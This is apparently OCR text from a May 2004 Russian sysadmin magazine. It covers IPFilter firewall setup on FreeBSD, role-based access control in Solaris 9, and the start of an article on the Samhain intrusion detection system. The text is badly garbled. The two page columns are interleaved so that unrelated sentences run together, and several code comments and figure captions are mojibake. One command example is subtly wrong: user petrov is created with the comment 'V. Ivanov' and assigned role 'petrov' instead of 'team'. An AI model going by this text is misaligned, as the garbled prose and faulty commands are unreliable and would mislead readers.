4.9 RELEASE, но она есть в портах. Коротко расскажу про тивный и неактивный. По умолчанию все операции (заг-
установку. Тут совсем просто (никаких коллизий возник- рузка/сброс правил) производятся над активным набором.
нуть не должно, за исключением установки недостающих Неактивный (манипулирование этим набором осуществ-
пакетов, но на то она и установка из портов, чтобы все ляется с помощью параметра -I команды ipf) может быть
сделать самостоятельно): полезен при отладке – его использование помогает про-
тестировать новые правила без сброса активного набора
# cd /usr/ports/sysutils/logrotate правил и вмешательства таким образом в работу «боево-
# make
# make install го» межсетевого экрана. Переключение между двумя на-
борами active/inactive производится с помощью парамет-
После того как компиляция и установка завершены, сто- ра командной строки -s. Таким образом, мы можем со-
ит внимательно изучить руководство к утилите logrotate, здать копию работоспособного набора правил, сохранив
поэтому: его с другим именем, и использовать его потом для тести-
рования и отладки изменений.
# man logrotate Чтобы загрузить правила IPFilter, воспользуемся такой
командой:
Внимательно изучив это руководство, легким движе-
нием руки создаем свой файл конфигурации logrotate: # ipf -Fa -f /etc/ipf.rules

42
администрирование
Эта команда сбросит текущий активный набор правил ваются. За рамками нашего разговора остались созда-
и загрузит в него правила, описанные в указанном файле ние групп правил, уровни ведения логов и многое другое.
ipf.rules. Для ipnat подобная команда будет выглядеть сле- Все это можно найти в упоминавшемся уже несколько раз
дующим образом: документе IPFilter Based Firewalls HOWTO, MAN-страни-
цах и в различных сборниках FAQ, разбросанных на про-
# ipnat -CF -f /etc/ipnat.rules сторах Сети. А поскольку главный критерий теории – прак-
тика, экспериментируйте, господа!
Вообще говоря, параметры командной строки у ipf и ipnat
во многом совпадают, но все же не мешает внимательно При написании данной статьи использовались следу-
изучить соответствующие разделы man-страниц для полу- ющие документы:
чения более полной информации об этих командах. 1. IPFilter Based Firewalls HOWTO – http://www.obfuscation.org/
ipf/
Заключение 2. FreeBSD firewall using IP Filter by Hoang Q. Tran
Хочется отметить, что здесь описаны только основы21 по- 3. IPFilter FAQ – http://www.phildev.net/ipf/index.html
строения межсетевого экрана на базе IPFilter, достаточ- 4. IPFilter Examples – http://coombs.anu.edu.au/~avalon/
ные для того, чтобы быстро развернуть его на сервере с examples.html
минимальными затратами времени. Однако рассмотрен- 5. Test the firewall system – http://www.cert.org/security-
ными в данной статье возможности IPFilter не ограничи- improvement/practices/p060.html

1 9
Во всяком случае, распространяемая на UNIX-подоб- Имеется в виду запись информации о пакете в файл
ных ОС. Для ОС семейства Windows IPFilter работает протокола.
10
в окружении Cygwin. Это мы будем регулировать ключевым словом quick в
2
Впрочем, и долгое разбирательство, которое выявило описании правил фильтрации.
11
конфликт с передачей параметров IPFilter, должного Данный документ можно найти по адресу: http://
эффекта не возымело, к сожалению. www.obfuscation.org/ipf/.
3 12
Предполагается, что читатель в достаточной мере зна- В ipfw/ipfwadm также реализованы алгоритмы защиты
ком с принципами работы межсетевого экрана. В про- от подобных действий злоумышленников (директивы
тивном случае могу посоветовать книги Building Internet setup/established).
13
Firewall, Chapman&Zwicky, O’Reilly and Associates и TCP/ NPAT – Network and PortAddress Translation – позволя-
IP Illustrated, Vol.7, Stevens, Addison-Wesley. ет подменить не только адрес, но и порт источника или
4
Здесь мы намеренно начнем не с того, как «включить», назначения пакета.
14
а с того, как «подготовиться к включению». О том, какие наборы правил различает IPFilter.
5 15
Для блокируемых пакетов. Иногда полезно вводить в См. RFC-1918 «Address Allocation for Private Internets».
16
заблуждение злоумышленника, подсовывая ему , на- Подробнее о модуле ipnat можно прочитать в IPFilter
пример, «Destination host is unreachable» или RST вме- Based Firewalls HOWTO, о котором не раз упоминает-
сто того, чтобы просто сбросить пакет, что будет сви- ся в этой статье.
17
детельствовать о наличии пакетного фильтра, тогда как К слову сказать, на днях я натолкнулась на патч для
в этом случае фильтрация будет скрытой. Однако про- файла rc.firewall, позволяющий использовать его и для
стой сброс пакетов защитит от некоторых типов атак конфигурирования IPFilter: http://www.swcp.com/~synk/
на переполнение ресурсов. ipfmerge.patch.
6 18
Предполагается, хотя это и не играет ключевой роли, Поскольку поддержка IPFilter реализована на уровне
что все описанные сервисы находятся на том же сер- ядра операционной системы, как таковая установка
вере, где мы «строим» firewall. Замечание: вообще при может потребоваться только в случае смены версии, и
построении межсетевых экранов считается дурным ее мы рассмотрим далее. В ядро FreeBSD 4.9-RELEASE
тоном размещать публичные сервисы (такие как SMTP, включена поддержка IPFilter v. 3.4.31(336).
19
FTP или HTTP) на тех же серверах, т.к. это снижает Все доступные опции ядра можно посмотреть в файле
общий уровень защиты, но и не всегда в небольших описания опций ядра вашей версии ОС – LINT, кото-
сетях есть возможность разнести эти службы. рый располагается там же, где и файл конфигурации
7
То есть запрещаем все и будем по мере необходимос- ядра ОС.
20
ти добавлять разрешающие правила, а не наоборот – я Разумеется, речь идет об общем количестве инци-
исхожу из того, что из потенциально возможных 65535 дентов. Но ведь никто не оградит вас от наличия в
портов разрешения требуются меньшей части, однако коллективе какого-нибудь cool-hacker? Да и firewall
не исключено, что для начала вам придется восполь- лучше задействовать и для внутреннего сетевого ин-
зоваться запретительной практикой (см. далее о кон- терфейса – по аналогии с внешним, думаю, это бу-
фигурировании ядра системы для запуска IPFilter). дет несложно сделать, исходя из конкретных обсто-
8
Очень часто при попытках атак злоумышленники ис- ятельств.
21
пользуют подделку технической информации в паке- В ближайшее время планируется написание статьи об
те, заменяя реальный адрес источника на адрес из не- использовании таких возможностей IPFilter, как груп-
маршрутизируемой сети 127/8. пы правил и ведение нескольких файлов протоколов.

№5(18), май 2004 43


администрирование

ROLE BASED ACCESS CONTROL (RBAC)


В SOLARIS 9

ДМИТРИЙ СЕЛЕЗНЕВ
44
администрирование
Введение в RBAC лю или роли. Профайл прав включает в себя авторизации,
Не секрет, что в классических UNIX-системах суперполь- команды с атрибутами их выполнения и другие профайлы.
зователь root имеет все полномочия по управлению сис- Как уже было отмечено выше, SOE включает в себя
темой. С другой стороны, возможности обычного пользо- набор предопределенных профайлов прав, которые, по
вателя ограничены домашним каталогом и рядом пользо- мнению разработчиков Solaris, отвечают конкретным ти-
вательских приложений. Однако в условиях чрезвычайно повым задачам управления системой. Вот лишь некото-
возросшей мощности серверных UNIX-систем, а следо- рые из них: Basic Solaris User, Operator, Media Backup, User
вательно, увеличения количества обслуживаемых поль- Security, FTP Management. Помимо предопределенных про-
зователей и решаемых задач, усложнения периферии и файлов прав, можно создавать собственные профайлы.
современных требований к безопасности, существует не- Авторизация – определенное право доступа к той или
обходимость разделения административных полномочий иной компоненте системы, которым может быть пользо-
на нескольких пользователей. В современных UNIX-сис- ватель или роль. Существуют целые классы авторизаций.
темах эта задача решается тем или иным способом. При- Для наглядности приведу пример:
мером может служить всем известная технология sudo.
Рассмотрим, какие средства в этом контексте предос- solaris.admin.usermgr.read
solaris.admin.usermgr.write
тавляет нам ОС Solaris 9. solaris.admin.usermgr.passwd
Role based access control (в дальнейшем RBAC) явля-
ется чрезвычайно гибким и мощным антиподом упомяну- Как несложно догадаться, каждая из трех приведенных
той классической радикальной двухуровневой схеме. авторизаций отвечает за управление пользовательскими
RBAC позволяет делегировать определенные возможно- бюджетами: на это указывает префикс solaris.admin.usermgr.
сти суперпользователя группам пользователей. Это по- Первая позволяет читать информацию о пользовательс-
зволяет им выполнять конкретные административные за- ких бюджетах, вторая – их модифицировать, а третья раз-
дачи. Например, управлять печатью, операциями резерв- решает изменение пользовательских паролей.
ного копирования и т. д. Если авторизация заканчивается суффиксом grant, то она
Основная идея RBAC заключается в предоставлении позволяет делегировать права на все операции префикса.
определенных наборов прав суперпользователя группам Авторизации локальной системы всегда начинаются со
пользователей. Такой набор прав и называется ролью. От- слова «solaris», авторизации, предоставляемые другими си-
дельные пользователи могут быть наделены несколькими стемами, начинаются с реверсивной записи DNS-имени
ролями. Однако роль не может ссылаться на другую роль. хоста2. Вообще говоря, помимо определенных в SOE авто-
По отношению к использованию RBAC, стратегии уп- ризаций, новые локальные авторизации создавать нельзя.
равления системой можно условно разделить на следую- Реализация RBAC в Solaris 9 базируется на 2 + 4 + 1 = 7
щие категории: базах данных. Почему 2 + 4 + 1?
! Без использования RBAC. Это уже упомянутая клас- Две первые базы – это стандартные для UNIX-систем
сическая двухуровневая модель: все операции по ад- файлы /etc/passwd и /etc/shadow. Назначение их извест-
министрированию системы выполняются суперпользо- но, их структуру мы рассматривать здесь не будем. Я лишь
вателем (root). продемонстрирую место этих файлов в технологии RBAC.
! Использование роли root. Бюджет суперпользователя Следующие четыре – это RBAC-специфические базы.
реализован в виде роли. Пользователи, принадлежащие Собственно, они и есть RBAC. Их-то мы и рассмотрим под-
к этой роли, входят в систему под своими именами, а робно.
уже после авторизуют себя в роли, выполняя su root. Первый из четырех – файл /etc/user_attr. Этот файл со-
! Используется одна роль на основе профайла Primary держит объявления ролей и пользователей с их профай-
Administrator. Практически аналогична второму пункту. лами прав и авторизациями, а также определяет принад-
! Используются роли на основе предопределенных в лежность пользователей ролям. Каждая запись (строка)
Solaris Operating Environment (далее SOE) типовых про- этого файла соответствует одноименной записи в фай-
файлах, таких как Primary Administrator, System лах /etc/passwd и /etc/shadow. В определенном смысле
Administrator, Operator и т. д. user_attr является расширением базы пользовательских
! Специальные пользовательские роли создаются для бюджетов /etc/passwd.
решения отдельных задач, исходя из конкретной стра- Структура записей файла такова:
тегии администрирования системы. Эти роли могут ос-
новываться на наборах как предопределенных профай- user/role name:íå÷òî1:íå÷òî2:íå÷òî3:ñïèñîê àòðèáóòîâ
лов, так и специально созданных.
Каждое поле отделяется от другого двоеточием. Пер-
В зависимости от конкретных потребностей организа- вое поле – это имя пользователя или роли, второе, третье
ции выбирается та или иная стратегия использования тех- и четвертое поля («нечто») в настоящее время пусты, они
нологии RBAC. Технология RBAC строится на двух базо- зарезервированы для возможного последующего исполь-
вых понятиях: профайл прав (rights profile) и авторизация зования в будущих версиях Solaris. В последующих опи-
(authorization)1. саниях форматов баз я буду эти поля просто оставлять
Под профайлом прав понимается набор определенных пустыми. Последнее поле содержит атрибуты, разделен-
привилегий, которые могут быть делегированы пользовате- ные точкой с запятой. Атрибут состоит из названия типа

№5(18), май 2004 45


администрирование
атрибута, знака «=» и соответствующих ему значений, раз- the user or role:help=RtAll.html
деленных запятой.
Атрибуты бывают четырех типов: Как мы видим, роль team ссылается на профайлы прав,
! type – указывает тип записи, определенные в обсуждаемом файле. Заметим, что эта
! normal – соответствует обычному пользователю, база данных позволяет также определять профайлы прав
! role – роли, на основе ранее описанных профайлов.
! auths – содержит перечни авторизаций, разделенные Третий из четырех – файл /etc/security/auth_attr. База
запятой. auth_attr описывает авторизации. Из всех RBAC-баз дан-
ных это единственная база, которую нельзя редактиро-
Авторизации в качестве суффикса могут содержать вать вручную, т.е. нельзя самостоятельно определять ав-
символ * для обозначения всех операций, определяемых торизации. Формат файла auth_attr следующий:
префиксом; profiles содержит перечень профайлов прав,
разделенных запятой; roles содержит перечень ролей, к auth_name:::êðàòêîå îïèñàíèå:ïîäðîáíîå îïèñàíèå:àòðèáóòû
которым относится пользователь. Разумеется, этот атри-
бут применим только для записей с типом normal, т.е. для В настоящее время единственным возможным атри-
записи пользователя, поскольку, как это было сказано бутом является указатель на help-файл. Возможно, что в
выше, нельзя задавать роль на основе других ролей. В следующих реализациях RBAC появятся и другие атрибу-
качестве примера приведу фрагмент файла /etc/user_attr ты, но пока он один. Пример фрагмента базы:
моей системы:
solaris.device.:::
# Copyright (c) 1999-2001 by Sun Microsystems, Inc. Device Allocation::help=DevAllocHeader.htmlsolaris. ↵
# All rights reserved. device.grant:::Delegate
Device Administration::help=DevGrant.html.
#
# /etc/user_attr
#
# user attributes. see user_attr(4) Обратите внимание на первую из приведенных строк:
# имя авторизации состоит из префикса и заканчивается
#pragma ident "@(#)user_attr 1.5 01/12/11 SMI"
# точкой. Такие записи служат для объявления оглавления
root::::auths=solaris.*,solaris.grant;profiles=All группы авторизаций одноименного префикса в програм-
lp::::profiles=Printer Management
adm::::profiles=Log Management мах с графическим интерфейсом.
master::::type=role;profiles=Primary Administrator И наконец, четвертый файл – /etc/security/exec_attr. Эта
team::::type=role;profiles=Device Management, ↵
Media Backup,Media Restore,Log Management база определяет соответствие профайлов прав конкрет-
ivanov::::type=normal;roles=master ным командам и атрибутам их выполнения. Структура
petrov::::type=normal;roles=team
файла такова:
Запись master определяет основную административную
роль на основе профайла Primary Administrator, запись prof_name:policy:òèï:::êîìàíäà:àòðèáóòû
ivanov определяет пользователя и его принадлежность роли
master. Обратите внимание на то, что роль team построена В текущей реализации RBAC поле policy может прини-
на базе сразу четырех профайлов прав. Как следует из мать единственное значение – suser (суперпользователь),
названия профайлов, пользователи, принадлежащие к роли а тип может быть только cmd (команда). Под командой
team, могут управлять сменными накопителями, произво- подразумевается полный путь к исполняемому файлу или
дить операции резервного копирования и восстановления shell-скрипту; если в поле команды стоит символ *, то это
данных и управлять системой ведения log-файлов. означает любую команду. Атрибуты, как и раньше, разде-
Второй из четырех – файл /etc/security/prof_attr. Файл ляются точкой с запятой и могут быть четырех типов:
является базой данных профайлов прав. Приведу структу- ! uid – идентификатор пользователя,
ру файла: ! euid – эффективный идентификатор пользователя,
! gid – идентификатор группы,
profile_name:::îïèñàíèå:àòðèáóòû ! egid – эффективный идентификатор группы.

Атрибуты записей в этом файле бывают двух типов: Последний из рассматриваемых файлов (помните, +1)
! help – задает файл подсказки в формате html, /etc/security/policy.conf. Он задает авторизации и профай-
! auths – содержит перечни авторизаций, разделенные лы прав, предоставляемые пользователю по умолчанию.
запятой. Как видно из примера, файл содержит две записи:

Авторизации в качестве суффикса могут содержать # Copyright 1999-2002 Sun Microsystems, Inc.
# All rights reserved.
символ * для обозначения всех операций, определяемых # Use is subject to license terms.
префиксом; profiles содержит перечень профайлов прав,
AUTHS_GRANTED=solaris.device.cdrw
разделенных запятой. Вот фрагмент файла prof_attr: PROFS_GRANTED=Basic Solaris User

Device Management:::Control Access to Removable Media: ↵ Разумеется, значения этих двух полей должны быть
auths=solaris.device.*,solaris.admin.serialmgr.*; ↵
help=RtDeviceMngmnt.htmlAll:::Execute any command as ↵ определены в файлах auth_attr и prof_attr.

46
администрирование
Взаимодействие компонентов RBAC пользования утилиты smc является набор консольных ути-
лит. Перечислим их и приведем их назначение.
Информационные команды:
! auths – выводит перечень авторизаций, которыми об-
ладает пользователь(и). Выполнение этой команды без
параметров выводит список авторизаций текущего
пользователя.
! profiles – выводит перечень профайлов, которыми об-
ладает пользователь(и).
! roles – выводит имена ролей, к которым принадлежит
пользователь(и).

Команды useradd, userdel, usermod и roleadd, roledel,


rolemod позволяют добавлять, удалять и изменять поль-
зователей и роли соответственно.
Ðèñóíîê 1. Êîìïîíåíòû RBAC è âçàèìîäåéñòâèå ìåæäó íèìè Утилита smrole управляет ролями и позволяет добав-
Поясню связи компонентов RBAC комментариями. лять и удалять пользователя в роль. smprofile и smexec
Прежде всего напомню, что каждой записи в user_attr управляют содержимым баз prof_attr и exec_attr.
соответствуют одноименные записи в файлах /etc/passwd Утилиты, название которых начинается с sm, требуют
и /etc/shadow. запущенной Solaris Management Console. Подробная ин-
Стоит обратить внимание на то, что в строках ролей формация об этих командах и их опциях содержится в man-
файла /etc/passwd в поле командного интерпретатора страницах (1M), мы же ограничимся несколькими просты-
стоит не обычный пользовательский shell (bash, csh, sh), ми примерами использования. Вернемся к рассмотренно-
а так называемый «профайловый» shell (profile shell) с пре- му нами фрагменту файла user_attr:
фиксом pf:
...master::::type=role;profiles=Primary Administratorivanov ↵
...team:x:102:1:Operators' Team:/export/home/team: ↵ ::::type=normal;roles=masterteam::::type=role; ↵
profiles=Device Management,Media Backup,Media Restore, ↵
/bin/pfshivanov:x:103:1:V. Ivanov:/export/home/ivanov: ↵ Log Managementpetrov::::type=normal;roles=team...
/usr/bin/bash...

Когда пользователь авторизуется в роли, то запуска- Приведу здесь команды, при помощи которых созданы
ется соответствующий profile shell, и в дальнейшем все роли master и team, пользователи ivanov и petrov, принад-
команды выполняются при помощи pfexec с текущими лежающие к соответствующей роли. Создаем роль master:
полномочиями, которые определены в роли.
Записи в /etc/user_attr, обозначающие пользователей, # roleadd -m -d /export/home/master -c "Main Admins" ↵
-P "Primary Administrator" master
могут ссылаться на описанные в нем же роли.
Атрибуты auths и profiles ссылаются соответственно на В опции -d указывается домашний каталог роли, ключ
авторизации (файл /etc/security/auth_attr) и профайлы прав -m разрешает автоматическое создание каталога, если та-
(файл /etc/security/prof_attr). ковой не существует. Опция -c задает комментарий, а -P –
Записи профайлов прав в файле /etc/security/prof_attr перечень профайлов прав, на которых должна базировать-
ссылаются на: ся роль.
! другие профайлы, определенные в этом же файле; Создаем роль team:
! авторизации, описанные в файле auth_attr;
! одну или несколько строк в файле /etc/security/exec_attr, # roleadd -m -d /export/home/team -c "Operators' team" ↵
-P "Device Management,Media Backup,Media Restore, ↵
которая и начинается с имени данного профайла. Log Management" team

Управление RBAC Обратите внимание на то, что при перечислении про-


Операционное окружение Solaris (SOE) предусматривает файлов прав между запятой и именем следующего про-
три способа управления ролевыми бюджетами. Самым файла пробелов быть не должно. Разумеется, задавать
«цивилизованным» способом является управление при можно только существующие профайлы, определенные в
помощи утилиты с графическим интерфейсом Solaris файле /etc/security/prof_attr. Добавляем пользователя
Management Console (smc)3. ivanov и определяем его принадлежность роли master:
На рис. 2 показано окно Solaris Management Console.
Я не думаю, что стоит подробно рассказывать об управ- master:#useradd -m -d /export/home/ivanov -c "V. Ivanov" ↵
-s /usr/bin/bash -R master
лении ролями и пользовательскими бюджетами при по-
мощи этой утилиты: человек, знакомый с графическими Добавляем пользователя petrov и определяем его при-
оболочками и понимающий концепции и структуру RBAC, надлежность роли team:
без труда разберется. Замечу лишь, что для управления
ролями и пользовательскими бюджетами, разумеется, #useradd -m -d /export/home/petrov -c "V. Ivanov" ↵
-s /usr/bin/bash -R petrov
необходимы соответствующие права. Альтернативой ис-

№5(18), май 2004 47


администрирование

Ðèñóíîê 2. Solaris Management Console


Полагаю, что две последние команды не нуждаются в 3. System Administration Guide: Basic Administration, Sun
комментариях. Microsystems, Inc.
Помимо двух рассмотренных подходов в управлении 4. man pages section 1M: System Administration Commands,
ролями есть и третий: прямое редактирование баз дан- Sun Microsystems, Inc.
ных RBAC (как уже сказано, кроме файла /etc/security/
1
auth_attr), но этот подход не рекомендован разработчика- На русском языке названия этих понятий звучат не-
ми из Sun Microsystems по причине «возможных синтак- сколько неказисто, но это извечная проблема перево-
сических ошибок». да англоязычной компьютерной терминологии.
2
В данной статье мы не рассматриваем технологию
Список используемых источников: RBAC в контексте взаимодействия с доменами NIS и
1. System Administrator Guide: Security Services, Sun NIS+, все рассматриваемые нами примеры относятся
Microsystems, Inc. к локальной системе.
3
2. Advanced System administration for the Solaris 9 Operating В составе Solaris 9 поставляется Solaris Management
Environment, Sun Microsystems, Inc. Console 2.1.

48
безопасность

ЦЕНТРАЛИЗОВАННОЕ
ОБНАРУЖЕНИЕ ВТОРЖЕНИЯ
С SAMHAIN

СЕРГЕЙ ЯРЕМЧУК

50
безопасность
На сегодняшний день существует достаточное количество как правило, с возможностью централизованного управ-
технологий, позволяющих защитить систему от вторже- ления, обновления или хотя бы сбора данных, иногда с
ния извне. На первом рубеже нападающего встретит графическим интерфейсом или возможностью настрой-
firewall, защищающий против злонамеренного/нежела- ки через веб-интерфейс. Об одном из таких решений и
тельного трафика из внешней/внутренней сети, но он дол- пойдет речь в статье.
жен все равно пропускать часть пакетов из/во внутрен- Samhain на сайте http://www.la-samhna.de/samhain/
ней сети, иначе перестанут работать полезные сервисы. index.html назван «open source file integrity and host-based
Проще, наверное, вообще отключить такую сеть от Ин- intrusion detection system», т.е. относится к системам, за-
тернета, и совсем он бесполезен против некоторых атак щищающим отдельный хост. Но возможности даже по
вроде перебора пароля или направленных на уязвимости скромному перечислению просто впечатляют. Главное –
в легальном сервисе. это интеграция нескольких составляющих, позволяющая
Поэтому добавляют следующий уровень защиты, се- полностью охватить практически все вопросы по защите
тевые системы обнаружения атак – Network Intrusion системы, не распыляя внимание. Для работы достаточно
Detection System (NIDS), которые по известным сигнату- настроить одно-единственное приложение под свои нуж-
рам обнаруживают злонамеренный трафик, но подчас бес- ды и в дальнейшем при необходимости обновлять только
полезны против новых неизвестных методов атак. И опять его. Следующая немаловажная деталь, Samhain возмож-
же не защищают от перебора пароля. но настроить не только для защиты отдельного хоста, но
Поэтому на следующем шаге применяют уже «инди- и заставить работать в клиент-серверной реализации, ког-
видуальные» host-based системы, позволяющие обнару- да датчики, установленные на удаленных узлах, отсыла-
жить вторжение, например, производя контроль целост- ют всю собранную информацию по зашифрованному ка-
ности файловой системы, некоторые реализации вроде налу на отдельный сервер. При этом все обновления и кон-
Logcentry или Hostcentry позволяют обнаружить вторже- фигурационные файлы также могут быть централизован-
ние (и даже попытку) методом анализа лог-файлов или, но размещены на сервере и при загрузке забираться от-
используя технологию Login Anomaly Detection, исследо- туда клиентами, что позволяет оперативно вносить изме-
вать подозрительные действия на входе в систему. Плюс нения в настройки и легко производить обновление. Плюс
для повышения защиты стоит добавить систему защиты несомненным преимуществом является возможность до-
от LKM rootkits вроде rkdet (http://vancouver-webpages.com/ бавления своего модуля, о том, как это можно сделать,
rkdet/). описано в документации, в частности в HOWTO-write-
Используя все эти технологии вместе, дополнительно modules. Состоит система Samhain из трех компонентов:
наложив на ядро патч вроде LIDS (http://www.lids.org/), по- ! клиента или реализации системы на отдельно стоящем
зволяющий контролировать доступ к важным данным, компьютере – samhain;
можно надежно запереть как сеть, так и отдельные ком- ! сервера, предназначенного для централизованного
пьютеры. Но есть одно неудобство. Принцип KISS (Keep It сбора логов и управления клиентами – yule;
Simple Stupid) хорошо любимый программистами UNIX- ! веб-консоли для удаленного управления – beltane.
систем, когда программа выполняет только одну малень-
кую функцию, но хорошо, а при необходимости более ши- Поддерживаются несколько вариантов оповещения
роких возможностей все необходимое просто склеивает- или отсылки собранной информации, e-mail, в котором
ся при помощи скриптов, в этом случае только может по- используется свой собственный код, реализующий отсыл-
мешать. Так начинающему админу приходится кроме на- ку по протоколу SMTP, почта при этом подписывается во
стройки нескольких необходимых для работы сервисов, избежание подделки, естественно syslog, при запуске в
ставить и разбираться еще во всех приложениях защиты. виде daemon для вывода ошибок используется устройство
Но это хозяйство не только необходимо настроить и запу- /dev/console, которое может быть заменено, используя
стить, что подчас не так просто, так как большая часть FIFO. Далее для хранения используется отдельный лог-
опций настраивается при помощи конфигурационных файл, который также подписывается во избежание под-
файлов, без удобного интерфейса, но нужно и поддержи- делки. Для централизованного сбора информации от не-
вать всегда в самом свежем состоянии, и притом не на скольких клиентов возможно использование отдельного
одном, а сразу на всех компьютерах в сети. Это только лог-сервера, который использует протокол TCP и шифро-
одна из проблем. вание сообщений, также для хранения информации, со-
Другая состоит в том, что все эти приложения подчас бранной от клиентов, возможно использование RDBMS
никак не связаны между собой, поэтому выдаваемая ими базы данных. На эту роль подходят PostgreSQL, MySQL,
информация никак не централизована, поступает со всех имеется поддержка Oracle и unixODBC, но пока полнос-
компьютеров и в большом количестве, обычно в виде e-mail. тью на них не протестирована. Дополнительно возможно
Я думаю, что это основная причина, мешающая, несмот- использование и других внешних программ или выполне-
ря на низкую стоимость, активному продвижению UNIX- ние определенных команд.
подобных систем. Не каждый сможет все сразу осилить, Samhain был протестирован на Linux, FreeBSD, AIX 4.x,
и опыт приходит со временем и только с собственными HP-UX 10.20, Unixware 7.1.0, Solaris 2.6, 2.8 и Alpha/True64.
ошибками. Наверное, поэтому в настоящее время стано- Имеются данные об успешной работе на системах под
вятся все более популярными комплексные решения за- управлением OpenBSD и HP-UX 11 и, возможно, будет
щиты системы, объединяющие в себе несколько задач, работать и под Mac OS X. Также возможен запуск на

№5(18), май 2004 51


безопасность
Windows 2000 в среде Cygwin, который эмулирует POSIX, samhain.ebuild файл для Gentoo). Итак, скачиваем архив
но Cygwin использует общедоступные области памяти для samhain-current.tar.gz, распаковываем:
хранения информации процессов, что не очень хорошо с
точки зрения безопасности. Samhain придерживается #tar xvzf samhain-current.tar.gz
стандарта Filesystem Hierarchy Standard (FHS), предписы-
вающего рекомендуемое расположение каталогов в UNIX- В текущем подкаталоге образуются два файла
системах. Для своей работы Samhain использует базу дан- samhain-1.8.3.tar.gz.asc и samhain-1.8.3.tar.gz, рекоменду-
ных сигнатур, которая создается при первом запуске и в ется первоначально проверить подлинность и целостность
дальнейшем сравнивается с живой системой. В такой базе исходного текста при помощи gpg:
содержится информация о 192-битной контрольной сум-
ме по алгоритму TIGER (возможно использование SHA-1 #/usr/bin/gpg --keyserver pgp.mit.edu --recv-key 0F571F6C
#/usr/bin/gpg --verify samhain-1.8.3.tar.gz.asc ↵
или MD5), inode, типе файла, владельце и группе, правах samhain-1.8.3.tar.gz
доступа, флаги ext2 файловой системы, временных мет-
ках, размере, количестве жестких ссылок, minor и major Второй вариант состоит в проверке контрольной MD5-
номеров для файлов устройств и для символических ссы- суммы, и сравнении ее с той, которая имеется на сайте.
лок имя файла, на которое она ссылается.
# md5sum samhain-1.8.3.tar.gz
e959ccc997e74e13a037c3281c41a581 samhain-1.8.3.tar.gz
Установка и конфигурация
Теперь распаковываем архив, заходим внутрь, и те-
перь у нас два возможных варианта установки. Первый,
более простой, происходит в графическом режиме, для
этого вводим ./Install.sh (должны быть установлены паке-
ты dialog или xdialog), в результате чего появляется окно,
изображенное на рис. 1 и 2, и далее будут задаваться воп-
росы о будущей конфигурации системы samhain, но в моем
случае было получено такое сообщение:

Не хотелось ради какого-то ненужного в системе диа-


Ðèñóíîê 1 лога лезть в Интернет, поэтому воспользовался еще од-
ним подобным инструментом lxdialog, который идет вмес-
те с исходными текстами ядра и лежит в /usr/src/linux/
scripts/lxdialog. Так как программа конфигурирования, най-
дя программу dialog, далее отказывалась работать, при-
шлось ее временно убрать:

# whereis dialog
dialog: /usr/bin/dialog /usr/share/man/man1/dialog.1.gz
# mv /usr/bin/dialog /usr/bin/dialog_bak

После чего удалось настроить систему в графическом


режиме. Если что-то не получается, то в таком случае ус-
тановку можно произвести стандартными:
Ðèñóíîê 2
Так как Samhain представляет собой довольно продви- #./configure [options]
#make
нутое приложение со множеством возможностей, о кото- #su
рых просто необходимо рассказать, чтобы сложилось наи- $make install
более полное представление о продукте, а документация,
как мне кажется, не совсем понятна и логична, то постро- Если выполнить команду ./configure без дополнитель-
им далее статью так. Вместе с некоторыми опциями кон- ных параметров, получим samhain, который контролирует
фигурирования будут указаны параметры конфигураци- только локальную систему, без серверно/клиентской ар-
онного файла, которые потребуются, чтобы реализовать хитектуры и прочих, не всегда нужных наворотов, в таком
эти возможности, а ниже будет описан общий конфигура- случае это будет напоминать что-то вроде Tripwire. Иначе
ционный файл для клиента и отличающиеся опции для сер- обратим внимание на дополнительные опции, существен-
вера. Samhain распространяется исключительно в виде но расширяющие возможности. Для этого вначале даем
исходного текста по причинам, которые поймете по ходу команду ./configure с ключом help.
изложения материала. Но в документации, поставляемой ! --enable-login-watch – (по умолчанию – нет) компиляция с
вместе с архивом, имеются разделы, объясняющие, как режимом контроля входа в систему и выхода из системы
создать прекомпилированный пакет для некоторых под- системных пользователей, используя файлы utmp и wtmp.
держиваемых систем (в последней версии появился и Для настройки необходимо создать секцию SuidCheck:

52
безопасность
[Utmp] ! --enable-install-name=samhain|yule – очень интерес-
# âêëþ÷åíèå/âûêëþ÷åíèå ïðîâåðîê (0 – off, 1 – on) ная опция, позволяющая дать другое произвольное,
LoginCheckActive=1
# èíòåðâàë âðåìåíè ìåæäó ïðîâåðêàìè â ñåêóíäàõ не вызывающее подозрений имя, с которым и ском-
LoginCheckInterval=600 пилировать программу, при этом оно будет автома-
# ñåðüåçíîñòü ñîáûòèÿ, äîñòàòî÷íî èíôîðìàöèîííîãî
SeverityLogin=info тически заменено во всех скриптах. Это позволит
SeverityLogout=info скрыть наличие в системе этой утилиты. При компи-
# à âîò åñëè îäèí è òîò æå ïîëüçîâàòåëü çàðåãèñòðèðîâàëñÿ
# ìíîãîêðàòíî, òî ýòî ñîáûòèå ñêîðåå êðèòè÷åñêîå ляции samhain в среде клиент|сервер без использо-
SeverityLoginMulti=crit вания этой опции имя samhain|yule будет дано авто-
матически.
! --with-suidcheck – (по умолчанию – нет) заставит ! --enable-khide=System.map (только для Linux) компили-
samhain проверять все SUID/SGID-программы в опре- рует и устанавливает два модуля ядра: samhain_hide.o
деляемых пользователем интервалах и сообщать при и samhain_erase.o. Модуль samhain_hide.o спрячет фай-
появлении новых, не внесенных в базу данных. После лы, каталоги и процессы с именем, указанным в оп-
инициализации базы данных, все SUID/SGID-файлы ции --enable-install-name=NAME или если такая опция
будут автоматически включены в базу данных. Есте- не используется, то по умолчанию принимается
ственно не работает на nfs, proc, msdos, vfat и iso9660 samhain. Второй, samhain_erase.o, предназначен для
и других файловых системах с опцией монтирования скрытия самих модулей.
nosuid, поэтому не стоит включать их в базу данных. ! --enable-mounts-check – модуль, написанный Computer
Для настройки необходимо создать секцию SuidCheck Incident Response Team, позволяет контролировать
примерно такого содержания: правильность опций монтирования файловых сис-
тем. Этот модуль в настоящее время поддерживает
[SuidCheck] Linux, Solaris и FreeBSD. Требует секции Mounts для
# âêëþ÷åíèå/âûêëþ÷åíèå ïðîâåðîê (0 – off, 1 – on)
SuidCheckActive=1 настройки:
# èíòåðâàë ìåæäó ïðîâåðêàìè â ñåêóíäàõ
# (ïî óìîë÷àíèþ – 7200 ñåê., ò.å. 2 ÷àñà) [Mounts]
# SuidCheckInterval=86400 # âêëþ÷åíèå/âûêëþ÷åíèå ïðîâåðîê (0 – off, 1 – on)
# èëè ìîæíî çàäàòü âðåìÿ ïðîâåðêè â ñòèëå crontab,
# íàïðèìåð, â 05:30 êàæäûé äåíü, ÷òîáû, ïðèäÿ MountCheckActive=1
